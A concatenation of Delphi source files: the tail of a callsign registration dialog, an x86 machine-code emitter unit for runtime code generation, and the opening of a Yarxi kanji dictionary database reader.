else
Result := True;
end;// function TdlgHURegistration.ValidateEmailAddress
//========================================================================================
procedure TdlgHURegistration.edtCallsignKeyPress(Sender: TObject; var Key: char
);
begin
Key := ValidCallsignCharacter(Key);
end;// procedure TdlgHURegistration.edtCallsignKeyPress
//----------------------------------------------------------------------------------------
function TdlgHURegistration.ValidateCallsign : Boolean;
begin
if Length(edtCallsign.Text) < cintCallsignMinLength then
Result := False
else
Result := True;
end;// function TdlgHURegistration.ValidateCallsign
//========================================================================================
// FILE ROUTINES
//========================================================================================
//========================================================================================
// FORM ROUTINES
//========================================================================================
procedure TdlgHURegistration.FormCreate(Sender: TObject);
begin
memInstructions.Text := cstrMemInstructions;
edtFirstName.MaxLength := cintFirstNameMaxLength;
edtLastName.MaxLength := cintLastNameMaxLength;
edtEmailAddress.MaxLength := cintEmailAddressMaxLength;
edtCallsign.MaxLength := cintCallsignMaxLength;
end;// procedure TdlgHURegistration.FormCreate
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.FormShow(Sender: TObject);
begin
edtFirstName.Text := '';
edtLastName.Text := '';
edtEmailaddress.Text := '';
edtCallsign.Text := '';
edtReg.Text := '';
edtFirstName.SetFocus;
end;// procedure TdlgHURegistration.FormShow
//========================================================================================
end.// unit HURegistration
|
unit Compiler;
interface
uses
&Assembler.Global, System.SysUtils, Buffer;
type
TTarget = (tWin32, tWin64, tLinux);
TTargetHelper = record helper for TTarget
public
function ToString: string;
end;
TCompiler = object
strict private
function InstructionPtr: Pointer;
protected
FBuffer: TBuffer;
FTarget: TTarget;
public
{$REGION 'Properties'}
property Target: TTarget read FTarget default tWin32;
property IP: Pointer read InstructionPtr;
{$ENDREGION}
{$REGION 'Constructors/Destructors'}
procedure Create;
{$ENDREGION}
{$REGION 'Raw Write Functions'}
procedure WriteModRM(AddrMod: TAddressingType; Dest, Source: TRegIndex); overload; stdcall;
procedure WriteModRM(AddrMod: TAddressingType; Dest: TRegIndex; IsBase, B1, B2: Boolean); overload; stdcall;
procedure WriteSIB(Scale: TNumberScale; Base, Index: TRegIndex);
procedure WriteBase(Dest, Base, Index: TRegIndex; Scale: TNumberScale; Offset: Integer); stdcall;
procedure WriteImm(Value: Integer; Size: TAddrSize);
procedure WritePrefix(Prefix: TCmdPrefix);
{$ENDREGION}
{$REGION 'Define Functions'}
procedure DB(Value: Byte); overload;
procedure DB(const Values: array of Byte); overload;
procedure DB(const Value: AnsiString); overload;
procedure DW(Value: SmallInt); overload;
procedure DW(const Values: array of SmallInt); overload;
procedure DW(const Value: WideString); overload;
procedure DD(Value: Integer); overload;
procedure DD(const Values: array of Integer); overload;
procedure DQ(Value: Int64); overload;
procedure DQ(const Values: array of Int64); overload;
{$ENDREGION}
procedure WriteAnd(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteAnd(Dest, Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteAnd(Dest, Source: TRegIndex); overload;
procedure WriteAnd(Dest: TRegIndex; Value: Integer); overload;
procedure WriteMov(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteMov(Dest, Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteMov(Dest, Source: TRegIndex); overload;
procedure WriteMov(Dest: TRegIndex; Value: Integer); overload;
procedure WriteLea(Dest, Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteLea(Dest, Source: TRegIndex; Offset: Integer = 0); overload;
procedure WriteLea(Dest: TRegIndex; Value: Integer); overload;
procedure WriteAdd(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteAdd(Dest, Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteAdd(Dest: TRegIndex; Value: Integer); overload;
procedure WriteAdd(Dest, Source: TRegIndex); overload;
procedure WriteSub(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteSub(Dest, Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteSub(Dest: TRegIndex; Value: Integer); overload;
procedure WriteSub(Dest, Source: TRegIndex); overload;
// ...
procedure WriteTest(Dest, Source: TRegIndex); overload;
procedure WriteTest(Dest: TRegIndex; Value: Integer); overload;
procedure WriteXor(Dest, Base, Index: TRegIndex; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteXor(Dest, Source: TRegIndex); overload;
procedure WriteXor(Dest: TRegIndex; Value: Integer); overload;
procedure WriteCmp(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteCmp(Dest, Base, Index: TRegIndex; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload; stdcall;
procedure WriteCmp(Dest, Source: TRegIndex); overload;
procedure WriteCmp(Dest: TRegIndex; Value: Integer); overload;
procedure WritePush(Source: TRegIndex; Dereference: Boolean = False); overload;
procedure WritePush(Value: Integer; Dereference: Boolean = False); overload;
procedure WritePop(Source: TRegIndex); overload;
procedure WritePop(Addr: Pointer); overload;
procedure WriteRet(Bytes: Integer = 0);
procedure WriteNop;
procedure WriteJump(Jump: TJumpType; Here: Pointer);
procedure WriteCall(Addr: Pointer); overload;
procedure WriteCall(Reg: TRegIndex); overload;
procedure WriteInt(Interrupt: Integer);
procedure WriteInc(Dest: TRegIndex); overload;
procedure WriteInc(Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload;
procedure WriteDec(Dest: TRegIndex); overload;
procedure WriteDec(Base, Index: TRegIndex; RegSize: TAddrSize = msDWord; Scale: TNumberScale = nsNo; Offset: Integer = 0); overload;
procedure WriteXchg(Dest, Source: TRegIndex); overload;
procedure WriteXchg(Dest: TRegIndex; Address: Pointer); overload;
procedure WriteSetCC(Dest: TRegIndex; Condition: TCondition);
procedure WriteNot(Dest: TRegIndex);
procedure WriteShr(Reg: TRegIndex; Count: Byte);
procedure WriteShl(Reg: TRegIndex; Count: Byte);
procedure WriteMovS(Prefix: TCmdPrefix; Count: TAddrSize); overload;
procedure WriteMovS(Count: TAddrSize); overload;
procedure WriteStoS(Prefix: TCmdPrefix; Count: TAddrSize); overload;
procedure WriteStoS(Count: TAddrSize); overload;
class function IsRel8(Value: Integer): Boolean; static; inline;
class procedure Swap(var FReg: TRegIndex; var SReg: TRegIndex); static; inline;
public
procedure RaiseException(const Text: string); overload;
procedure RaiseException(const Fmt: string; const Args: array of const); overload;
end;
implementation
procedure TCompiler.WriteImm(Value: Integer; Size: TAddrSize);
begin
case Size of
msByte: FBuffer.Write<Byte>(Value);
msWord: FBuffer.Write<SmallInt>(Value);
msDWord: FBuffer.Write<Integer>(Value);
end;
end;
procedure TCompiler.WriteInc(Base, Index: TRegIndex; RegSize: TAddrSize;
Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($FE)
else
begin
if RegSize = msWord then
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($FF);
end;
WriteBase(TRegIndex(0), Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteInt(Interrupt: Integer);
begin
if Interrupt = 3 then
FBuffer.Write<Byte>($CC)
else
begin
FBuffer.Write<Byte>($CD);
FBuffer.Write<Byte>(Interrupt);
end;
end;
procedure TCompiler.WriteJump(Jump: TJumpType; Here: Pointer);
var
I: Integer;
begin
if Here = nil then
I := 0
else
I := Integer(Here) - Integer(@TBytes(FBuffer.Data)[FBuffer.Position]);
if Jump = jtJmp then
begin
if IsRel8(I) then
begin
FBuffer.Write<Byte>($EB);
FBuffer.Write<Byte>(I - 2);
end
else
begin
FBuffer.Write<Byte>($E9);
FBuffer.Write<Integer>(I - 5);
end;
end
else
begin
if IsRel8(I) then
begin
FBuffer.Write<Byte>($70 or Byte(Jump));
FBuffer.Write<Byte>(I - 2);
end
else
begin
FBuffer.Write<Byte>($0F);
FBuffer.Write<Byte>($80 or Byte(Jump));
FBuffer.Write<Integer>(I - 6);
end;
end;
end;
procedure TCompiler.WriteLea(Dest, Base, Index: TRegIndex; RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
RaiseException('TCompiler.WriteLea: Byte register size is not supported by LEA.')
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($8D);
end
else
FBuffer.Write<Byte>($8D);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteLea(Dest: TRegIndex; Value: Integer);
begin
FBuffer.Write<Byte>($8D);
WriteModRM(atIndirAddr, TRegIndex(5), Dest);
FBuffer.Write<Integer>(Value);
end;
procedure TCompiler.WriteLea(Dest, Source: TRegIndex; Offset: Integer);
begin
FBuffer.Write<Byte>($8D);
case Source of
rEbp:
begin
if not IsRel8(Offset) then
begin
WriteModRM(atBaseAddr32B, Source, Dest);
FBuffer.Write<Integer>(Offset);
end
else
begin
WriteModRM(atBaseAddr8B, Source, Dest);
FBuffer.Write<Integer>(Offset);
end;
end;
rEsp:
begin
if not IsRel8(Offset) then
begin
WriteModRM(atBaseAddr32B, Source, Dest);
WriteSIB(nsNo, Source, Source);
FBuffer.Write<Integer>(Offset);
end
else
begin
WriteModRM(atBaseAddr8B, Source, Dest);
WriteSIB(nsNo, Source, Source);
FBuffer.Write<Byte>(Offset);
end;
end
else
begin
if Offset = 0 then
WriteModRM(atIndirAddr, Source, Dest)
else
begin
if IsRel8(Offset) then
begin
WriteModRM(atBaseAddr8B, Source, Dest);
FBuffer.Write<Byte>(Offset);
end
else
begin
WriteModRM(atBaseAddr32B, Source, Dest);
FBuffer.Write<Integer>(Offset);
end;
end;
end;
end;
end;
procedure TCompiler.WriteModRM(AddrMod: TAddressingType;
Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>(Byte(AddrMod) shl 6 or Byte(Source) shl 3 or Byte(Dest));
end;
procedure TCompiler.WriteModRM(AddrMod: TAddressingType;
Dest: TRegIndex; IsBase, B1, B2: Boolean);
begin
FBuffer.Write<Byte>((Byte(AddrMod) shl 6) or (Byte(Dest) shl 3));
end;
procedure TCompiler.WriteMov(Dest: TRegIndex; Value: Integer);
begin
FBuffer.Write<Byte>($B8 or Byte(Dest));
FBuffer.Write<Integer>(Value);
end;
procedure TCompiler.WriteMov(Value: Integer; Base, Index: TRegIndex; RegSize: TAddrSize;
Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($C6)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($C7);
end
else
FBuffer.Write<Byte>($C7);
WriteBase(TRegIndex(0), Base, Index, Scale, Offset);
WriteImm(Value, RegSize);
end;
procedure TCompiler.WriteMov(Dest, Base, Index: TRegIndex; RegSize: TAddrSize;
Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($8A)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($8B);
end
else
FBuffer.Write<Byte>($8B);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteMovS(Prefix: TCmdPrefix; Count: TAddrSize);
begin
WritePrefix(Prefix);
WriteMovS(Count);
end;
procedure TCompiler.WriteMovS(Count: TAddrSize);
begin
case Count of
msByte: FBuffer.Write<Byte>($A4);
msWord:
begin
WritePrefix(cpAddrSize);
FBuffer.Write<Byte>($A5);
end;
msDWord: FBuffer.Write<Byte>($A5);
end;
end;
procedure TCompiler.WriteNop;
begin
FBuffer.Write<Byte>($90);
end;
procedure TCompiler.WriteNot(Dest: TRegIndex);
begin
FBuffer.Write<Byte>($F7);
WriteModRM(atRegisters, Dest, TRegIndex(2));
end;
procedure TCompiler.WriteMov(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($89);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteDec(Base, Index: TRegIndex; RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($FE)
else
begin
if RegSize = msWord then
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($FF);
end;
WriteBase(TRegIndex(1), Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteInc(Dest: TRegIndex);
begin
FBuffer.Write<Byte>($40 or Byte(Dest));
end;
procedure TCompiler.RaiseException(const Text: string);
begin
raise System.SysUtils.Exception.CreateFmt('%s', [Text]);
end;
procedure TCompiler.Create;
begin
end;
procedure TCompiler.DB(const Values: array of Byte);
var
I: Integer;
begin
for I := 0 to Length(Values) - 1 do
FBuffer.Write<Byte>(Values[I]);
end;
procedure TCompiler.DB(Value: Byte);
begin
FBuffer.Write<Byte>(Value);
end;
procedure TCompiler.DB(const Value: AnsiString);
begin
FBuffer.Write<AnsiString>(Value);
end;
procedure TCompiler.DD(const Values: array of Integer);
var
I: Integer;
begin
for I := 0 to Length(Values) - 1 do
FBuffer.Write<Integer>(Values[I]);
end;
procedure TCompiler.DD(Value: Integer);
begin
FBuffer.Write<Integer>(Value);
end;
procedure TCompiler.DQ(const Values: array of Int64);
var
I: Integer;
begin
for I := 0 to Length(Values) - 1 do
FBuffer.Write<Int64>(Values[I]);
end;
procedure TCompiler.DW(const Value: WideString);
begin
FBuffer.Write<WideString>(Value);
end;
procedure TCompiler.DQ(Value: Int64);
begin
FBuffer.Write<Int64>(Value);
end;
procedure TCompiler.DW(const Values: array of SmallInt);
var
I: Integer;
begin
for I := 0 to Length(Values) - 1 do
FBuffer.Write<SmallInt>(Values[I]);
end;
procedure TCompiler.DW(Value: SmallInt);
begin
FBuffer.Write<SmallInt>(Value);
end;
function TCompiler.InstructionPtr: Pointer;
begin
Result := @TBytes(FBuffer.Data)[FBuffer.Position];
end;
class function TCompiler.IsRel8(Value: Integer): Boolean;
begin
Result := (Value >= -128) and (Value <= 127);
end;
procedure TCompiler.RaiseException(const Fmt: string; const Args: array of const);
var
Text: string;
begin
Text := Format(Fmt, Args);
RaiseException(Text);
end;
class procedure TCompiler.Swap(var FReg: TRegIndex; var SReg: TRegIndex);
var
TempReg: TRegIndex;
begin
TempReg := FReg;
FReg := SReg;
SReg := TempReg;
end;
procedure TCompiler.WriteAdd(Dest: TRegIndex; Value: Integer);
begin
if not IsRel8(Value) then
begin
if Dest = rEax then
FBuffer.Write<Byte>($05) // eax opcode
else
begin
FBuffer.Write<Byte>($81); // default opcode
WriteModRM(atRegisters, Dest, TRegIndex(0));
end;
FBuffer.Write<Integer>(Value);
end
else
begin
FBuffer.Write<Byte>($83); // one-byte opcode
WriteModRM(atRegisters, Dest, TRegIndex(0));
FBuffer.Write<Byte>(Value);
end;
end;
procedure TCompiler.WriteAdd(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($01);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteAdd(Value: Integer; Base, Index: TRegIndex;
RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($80)
else
begin
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($81);
end
else
FBuffer.Write<Byte>($81)
end;
WriteBase(TRegIndex(0), Base, Index, Scale, Offset);
WriteImm(Value, RegSize);
end;
procedure TCompiler.WriteAdd(Dest, Base, Index: TRegIndex; RegSize: TAddrSize;
Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($02)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($03);
end
else
FBuffer.Write<Byte>($03);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteAnd(Value: Integer; Base, Index: TRegIndex;
RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($80)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($81);
end
else
FBuffer.Write<Byte>($81);
WriteBase(TRegIndex(4), Base, Index, Scale, Offset);
WriteImm(Value, RegSize);
end;
procedure TCompiler.WriteAnd(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($21);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteAnd(Dest: TRegIndex; Value: Integer);
begin
if IsRel8(Value) then
begin
FBuffer.Write<Byte>($82);
WriteModRM(atRegisters, Dest, TRegIndex(4));
FBuffer.Write<Byte>(Value);
end
else
begin
FBuffer.Write<Byte>($81);
WriteModRM(atRegisters, Dest, TRegIndex(4));
FBuffer.Write<Integer>(Value);
end;
end;
procedure TCompiler.WriteAnd(Dest, Base, Index: TRegIndex; RegSize: TAddrSize;
Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($22)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($23);
end
else
FBuffer.Write<Byte>($23);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteBase(Dest, Base, Index: TRegIndex; Scale: TNumberScale;
Offset: Integer);
begin
if Index = rEsp then
Swap(Index, Base);
if Offset <> 0 then
begin
if IsRel8(Offset) then
begin
if (Scale = nsNo) and (Index = Base) then
begin
WriteModRM(atBaseAddr8B, Base, Dest);
if Index = rEsp then
WriteSIB(Scale, Index, Index);
end
else
begin
WriteModRM(atBaseAddr8B, TRegIndex(4), Dest);
WriteSIB(Scale, Base, Index);
end;
FBuffer.Write<Byte>(Offset);
end
else
begin
if (Scale = nsNo) and (Index = Base) then
WriteModRM(atBaseAddr32B, Base, Dest)
else
begin
WriteModRM(atBaseAddr32B, TRegIndex(4), Dest);
WriteSIB(Scale, Base, Index);
end;
FBuffer.Write<Integer>(Offset);
end;
end
else
begin
if (Scale = nsNo) and (Index = Base) then
begin
WriteModRM(atIndirAddr, Base, Dest);
if Index = rEsp then
WriteSIB(Scale, Index, Index);
end
else
begin
WriteModRM(atIndirAddr, TRegIndex(4), Dest);
WriteSIB(Scale, Base, Index);
end;
end;
end;
procedure TCompiler.WriteCall(Reg: TRegIndex);
begin
FBuffer.Write<Byte>($FF);
FBuffer.Write<Byte>($D0 or Byte(Reg));
end;
procedure TCompiler.WriteCmp(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($39);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteCmp(Dest: TRegIndex; Value: Integer);
begin
if IsRel8(Value) then
begin
FBuffer.Write<Byte>($83);
WriteModRM(atRegisters, Dest, TRegIndex(7));
FBuffer.Write<Byte>(Value);
end
else
begin
FBuffer.Write<Byte>($81);
WriteModRM(atRegisters, Dest, TRegIndex(7));
FBuffer.Write<Integer>(Value);
end;
end;
procedure TCompiler.WriteCmp(Value: Integer; Base, Index: TRegIndex;
RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($80)
else
begin
if RegSize = msWord then
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($81);
end;
WriteBase(TRegIndex(7), Base, Index, Scale, Offset);
WriteImm(Value, RegSize);
end;
procedure TCompiler.WriteCmp(Dest, Base, Index: TRegIndex; Scale: TNumberScale;
Offset: Integer);
begin
FBuffer.Write<Byte>($3B);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteCall(Addr: Pointer);
function Relative(Func, Addr: Pointer): Pointer; inline;
begin
Result := Pointer(Integer(Func) - Integer(Addr) - 4);
end;
begin
FBuffer.Write<Byte>($E8);
FBuffer.Write<Integer>(Integer(Relative(Addr, @TBytes(FBuffer.Data)[FBuffer.Position])));
end;
procedure TCompiler.WriteDec(Dest: TRegIndex);
begin
FBuffer.Write<Byte>($48 or Byte(Dest));
end;
procedure TCompiler.WritePush(Source: TRegIndex; Dereference: Boolean);
begin
if Dereference then
begin
FBuffer.Write<Byte>($FF);
if Source = rEsp then
begin
WriteModRM(atIndirAddr, Source, TRegIndex(6));
WriteSIB(nsNo, Source, Source);
end
else
if Source = rEbp then
begin
WriteModRM(atBaseAddr8B, Source, TRegIndex(6));
FBuffer.Write<Byte>(0);
end
else
WriteModRM(atIndirAddr, Source, TRegIndex(6));
end
else
FBuffer.Write<Byte>($50 or Byte(Source));
end;
procedure TCompiler.WriteRet(Bytes: Integer);
begin
if Bytes <> 0 then
begin
FBuffer.Write<Byte>($C2);
FBuffer.Write<Word>(Bytes);
end
else
FBuffer.Write<Byte>($C3);
end;
procedure TCompiler.WriteSetCC(Dest: TRegIndex; Condition: TCondition);
begin
FBuffer.Write<Byte>($0F);
FBuffer.Write<Byte>($90 or Byte(Condition));
WriteModRM(atRegisters, Dest, TRegIndex(3));
end;
procedure TCompiler.WriteShl(Reg: TRegIndex; Count: Byte);
begin
FBuffer.Write<Byte>($C1);
WriteModRM(atRegisters, Reg, TRegIndex(4));
FBuffer.Write<Byte>(Count);
end;
procedure TCompiler.WriteShr(Reg: TRegIndex; Count: Byte);
begin
FBuffer.Write<Byte>($C1);
WriteModRM(atRegisters, Reg, TRegIndex(5));
FBuffer.Write<Byte>(Count);
end;
procedure TCompiler.WriteSIB(Scale: TNumberScale; Base, Index: TRegIndex);
begin
FBuffer.Write<Byte>(Byte(Scale) shl 6 or Byte(Index) shl 3 or Byte(Base));
end;
procedure TCompiler.WriteStoS(Prefix: TCmdPrefix; Count: TAddrSize);
begin
WritePrefix(Prefix);
WriteStoS(Count);
end;
procedure TCompiler.WriteStoS(Count: TAddrSize);
begin
case Count of
msByte: FBuffer.Write<Byte>($AA);
msWord:
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($AB);
end;
msDWord: FBuffer.Write<Byte>($AB);
end;
end;
procedure TCompiler.WriteSub(Dest: TRegIndex; Value: Integer);
begin
if not IsRel8(Value) then
begin
if Dest = rEax then
FBuffer.Write<Byte>($2D) // eax opcode
else
begin
FBuffer.Write<Byte>($81); // default opcode
WriteModRM(atRegisters, Dest, TRegIndex(5));
end;
FBuffer.Write<Integer>(Value);
end
else
begin
FBuffer.Write<Byte>($83);
WriteModRM(atRegisters, Dest, TRegIndex(5));
FBuffer.Write<Byte>(Value);
end;
end;
procedure TCompiler.WriteSub(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($29);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteSub(Value: Integer; Base, Index: TRegIndex;
RegSize: TAddrSize; Scale: TNumberScale; Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($80)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($81);
end
else
FBuffer.Write<Byte>($81);
WriteBase(TRegIndex(5), Base, Index, Scale, Offset);
WriteImm(Value, RegSize);
end;
procedure TCompiler.WriteSub(Dest, Base, Index: TRegIndex; RegSize: TAddrSize; Scale: TNumberScale;
Offset: Integer);
begin
if RegSize = msByte then
FBuffer.Write<Byte>($2A)
else
if RegSize = msWord then
begin
WritePrefix(cpRegSize);
FBuffer.Write<Byte>($2B);
end
else
FBuffer.Write<Byte>($2B);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteTest(Dest: TRegIndex; Value: Integer);
begin
if Dest = rEax then
begin
FBuffer.Write<Byte>($A9);
FBuffer.Write<Integer>(Value);
end
else
begin
FBuffer.Write<Byte>($F7);
WriteModRM(atRegisters, Dest, TRegIndex(0));
FBuffer.Write<Integer>(Value);
end;
end;
procedure TCompiler.WriteTest(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($85);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WriteXchg(Dest, Source: TRegIndex);
begin
if Dest = rEax then
FBuffer.Write<Byte>($90 or Byte(Source))
else
begin
FBuffer.Write<Byte>($87);
WriteModRM(atRegisters, Dest, Source);
end;
end;
procedure TCompiler.WriteXchg(Dest: TRegIndex; Address: Pointer);
begin
FBuffer.Write<Byte>($87);
WriteModRM(atIndirAddr, TRegIndex(5), Dest);
FBuffer.Write<Pointer>(Address);
end;
procedure TCompiler.WriteXor(Dest, Base, Index: TRegIndex; Scale: TNumberScale;
Offset: Integer);
begin
FBuffer.Write<Byte>($33);
WriteBase(Dest, Base, Index, Scale, Offset);
end;
procedure TCompiler.WriteXor(Dest: TRegIndex; Value: Integer);
begin
if IsRel8(Value) then
begin
FBuffer.Write<Byte>($83);
WriteModRM(atRegisters, Dest, TRegIndex(6));
FBuffer.Write<Byte>(Value);
end
else
begin
FBuffer.Write<Byte>($81);
WriteModRM(atRegisters, Dest, TRegIndex(6));
FBuffer.Write<Integer>(Value);
end;
end;
procedure TCompiler.WriteXor(Dest, Source: TRegIndex);
begin
FBuffer.Write<Byte>($31);
WriteModRM(atRegisters, Dest, Source);
end;
procedure TCompiler.WritePop(Source: TRegIndex);
begin
FBuffer.Write<Byte>($58 or Byte(Source));
end;
procedure TCompiler.WritePop(Addr: Pointer);
begin
FBuffer.Write<Byte>($8F);
WriteModRM(atIndirAddr, TRegIndex(5), TRegIndex(0));
FBuffer.Write<Pointer>(Addr);
end;
procedure TCompiler.WritePrefix(Prefix: TCmdPrefix);
begin
FBuffer.Write<Byte>(Byte(Prefix));
end;
procedure TCompiler.WritePush(Value: Integer; Dereference: Boolean = False);
begin
if Dereference then
begin
FBuffer.Write<Byte>($FF);
FBuffer.Write<Byte>($35);
FBuffer.Write<Integer>(Value);
end
else
begin
if IsRel8(Value) then
begin
FBuffer.Write<Byte>($6A);
FBuffer.Write<Byte>(Value);
end
else
begin
FBuffer.Write<Byte>($68);
FBuffer.Write<Integer>(Value);
end;
end;
end;
{ TTargetHelper }
function TTargetHelper.ToString: string;
begin
case Self of
tWin32: Result := 'Win32';
tWin64: Result := 'Win64';
tLinux: Result := 'Linux'
else Result := 'Unknown';
end;
end;
end.
|
unit Yarxi;
{
Usage:
Yarxi := TYarxiDB.Create('yarxi.db');
Yarxi.KanaTran.LoadFromFile('yarxi.kcs');
}
interface
uses SysUtils, sqlite3, sqlite3ds, uDataSetHelper, UniStrUtils, KanaConv,
FastArray, YarxiStrings, YarxiKanji, YarxiTango;
type
TKanjiRecord = record
Nomer: integer;
Kanji: string;
RusNick: string;
RusNicks: TRusNicks;
RawRusNick: string;
OnYomi: TOnYomiEntries;
KunYomi: TKanjiReadings;
RawKunYomi: string;
RawRussian: string;
Russian: TRussianMeanings;
Compounds: TCompoundEntries;
RawCompounds: string;
function JoinOns(const sep: string=' '): string;
end;
PKanjiRecord = ^TKanjiRecord;
TTangoRecord = record
Nomer: integer;
K1, K2, K3, K4: SmallInt; //can be -1
RawKana: string;
Kana: string;
RawReadings: string;
Readings: TTangoReadings;
Russian: string;
end;
PTangoRecord = ^TTangoRecord;
TYarxiDB = class
protected
Db: TSqliteDb;
function ParseKanji(const Rec: variant): TKanjiRecord;
function ParseTango(const Rec: variant): TTangoRecord;
protected
procedure LoadKanjiIndex;
protected
procedure LoadKanji;
procedure LoadTango;
function FindKanjiIndex(const AChar: string): integer; //do not expose
public
Kanji: array of TKanjiRecord;
Tango: array of TTangoRecord;
public
constructor Create(const AFilename: string);
destructor Destroy; override;
function GetKanji(const AChar: string; out ARec: TKanjiRecord): boolean;
function KanjiCount: integer;
function TangoCount: integer;
end;
function Join(const AArray: TStringArray; const sep: string=', '): string; overload;
implementation
uses StrUtils, YarxiRefs, YarxiCore;
function Join(const AArray: TStringArray; const sep: string=', '): string;
var i: integer;
begin
if Length(AArray)<=0 then begin
Result := '';
exit;
end;
Result := AArray[0];
for i := 1 to Length(AArray)-1 do
Result := Result + sep + AArray[i];
end;
function TKanjiRecord.JoinOns(const sep: string=' '): string;
var i: integer;
begin
if Length(OnYomi)<=0 then begin
Result := '';
exit;
end;
Result := OnYomi[0].kana;
for i := 1 to Length(OnYomi)-1 do
Result := Result + sep + OnYomi[i].kana;
end;
constructor TYarxiDB.Create(const AFilename: string);
begin
inherited Create;
Db := TSqLiteDb.Create(AFilename);
end;
destructor TYarxiDB.Destroy;
begin
FreeAndNil(Db);
inherited;
end;
function TYarxiDB.ParseKanji(const Rec: variant): TKanjiRecord;
var i: integer;
begin
Result.Nomer := rec.Nomer;
if (Result.Nomer=216) or (Result.Nomer=219) or (Result.Nomer=1385)
or (Result.Nomer=1528) or (Result.Nomer=1617) or (Result.Nomer=2403)
or (Result.Nomer=2664) then begin //некоторые кандзи просто в полной беде
FillChar(Result, SizeOf(Result), 0);
exit; //откройте базу, полюбуйтесь на них
end;
PushComplainContext('#'+IntToStr(Result.Nomer));
try
Result.Kanji := WideChar(word(rec.Uncd));
Result.RawRusNick := DecodeRussian(rec.RusNick);
Result.RusNicks := ParseKanjiRusNick(Result.RawRusNick);
if Result.RusNicks.Length>0 then
Result.RusNick := Result.RusNicks[0]
else
Result.RusNick := '';
Result.OnYomi := ParseKanjiOnYomi(rec.OnYomi);
//Преобразуем после сплита, т.к. может затронуть разметочные символы типа тире
for i := 0 to Length(Result.OnYomi)-1 do
